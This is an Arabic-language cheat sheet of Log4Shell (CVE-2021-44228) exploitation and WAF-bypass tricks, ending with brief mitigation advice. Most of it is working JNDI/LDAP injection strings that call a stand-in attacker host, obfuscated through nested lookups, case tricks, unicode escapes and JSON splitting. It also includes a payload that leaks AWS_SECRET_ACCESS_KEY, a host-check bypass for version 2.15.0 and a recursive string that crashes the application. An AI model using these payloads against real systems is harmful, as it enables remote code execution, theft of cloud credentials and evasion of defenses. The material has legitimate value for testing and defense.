
🐱💻 ✂️ 🤬 CVE-2021-44228 - استغلال LOG4J Java - حيل تجاوز WAF
CVE-2021-44228 يعمل على:
log4j: 2.0 <= Apache log4j <= 2.14.1
إصدارات Java التي تم تصحيحها بالفعل: 6u211+, 7u201+, 8u191+, 11.0.1+.
بدأ Windows Defender في إزالة ملفات .java التي تحتوي على jndi:ldap:....
نص بسيط للمهاجم (RCE محتمل):
${jndi:ldap://somesitehackerofhell.com/z}
بدأ WAF أو المطورون في حظر العبارات:
لتأمين التطبيقات.
ومع ذلك، يمكن للمهاجم تجاوز ذلك باستخدام إحدى هذه التقنيات:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
من وثائق Apache Log4j 2: ${env:ENV_NAME:-default_value}
إذا لم يكن هناك متغير بيئة نظام ENV_NAME، استخدم النص بعد :-
يمكن للمهاجم استخدام أي اسم بدلاً من ENV_NAME، ولكن يجب ألا يكون موجودًا.
أو يمكن للمخترق قراءة متغير بيئة، مثال لـ AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
تحقق من المزيد من الأسرار في 🦄🔒 قائمة رائعة من الأسرار في متغيرات البيئة 🖥️
يمكنك التحقق من متغيرات بيئة النظام لديك:
dir env:printenv أو env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${upper:p}://somesitehackerofhell.com/z}
Lookup الصغير يقوم LowerLookup بتحويل الوسيطة الممررة إلى أحرف صغيرة. من المفترض أن تكون القيمة نتيجة بحث متداخل.
${lower:<text>}
Lookup الكبير يقوم UpperLookup بتحويل الوسيطة الممررة إلى أحرف كبيرة. من المفترض أن تكون القيمة نتيجة بحث متداخل.
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
يتم تحويل ı إلى i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
إذا لم تكن هناك خاصية نظام SYS_NAME، استخدم النص بعد :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
يقوم تنسيق التاريخ في Java بتحويل YYYY إلى 2021، لكنه يحول 'YYYY' إلى YYYY أو 'j' إلى j.
استبدل الأحرف بـ:
يمكنك قراءة المزيد هنا مرجع ترميز URL HTML
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
لا يتحقق من وجود البحث ويقيم ببساطة إلى القيمة الافتراضية بكل سرور.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"بشكل منفصل، لا تمثل هذه المفاتيح والقيم هجومًا. لكنها مجتمعة تشكل هجومًا، وهذا الهجوم شفاف لأنظمة الكشف بسبب محلل JSON." اقرأ المزيد...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
حول بعض الأحرف إلى Unicode.
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
تجاوز فحوصات allowedLdapHost و allowedClasses في Log4J 2.15.0. تقوم طريقة java.net.URI getHost() بإرجاع القيمة قبل # كمضيف حقيقي. لكن محلل JNDI/LDAP سيحل إلى سلسلة اسم المضيف الكامل محاولًا الاتصال بخادم LDAP الخبيث.
${${::-${::-$${::-j}}}}
إذا تمت محاولة استبدال سلسلة لأي سبب على السلسلة التالية، فسيؤدي ذلك إلى تكرار لا نهائي وسيتعطل التطبيق تعطل.
قم بصياغة ملف PDF خاص لاستغلال CVE-2021-44228

احصل على ملف pdf واقرأ المزيد...
لاختبار الإدخال يمكنك استخدام:
الخلاصة: قم بالتحديث إلى log4j-2.17.1 أو أحدث.
تخفيف Log4j 1.x: Log4j 1.x لا يحتوي على Lookups لذا الخطر أقل. التطبيقات التي تستخدم Log4j 1.x تكون عرضة لهذا الهجوم فقط عندما تستخدم JNDI في إعداداتها. تم تسجيل CVE منفصل (CVE-2021-4104) لهذه الثغرة. للتخفيف: قم بتدقيق إعدادات التسجيل الخاصة بك للتأكد من عدم وجود JMSAppender مكون. إعدادات Log4j 1.x بدون JMSAppender لا تتأثر بهذه الثغرة.
تخفيف Log4j 2.x: قم بتنفيذ إحدى تقنيات التخفيف أدناه.
لاحظ أن ملف log4j-core JAR فقط هو المتأثر بهذه الثغرة. التطبيقات التي تستخدم ملف log4j-api JAR فقط بدون ملف log4j-core JAR لا تتأثر بهذه الثغرة.
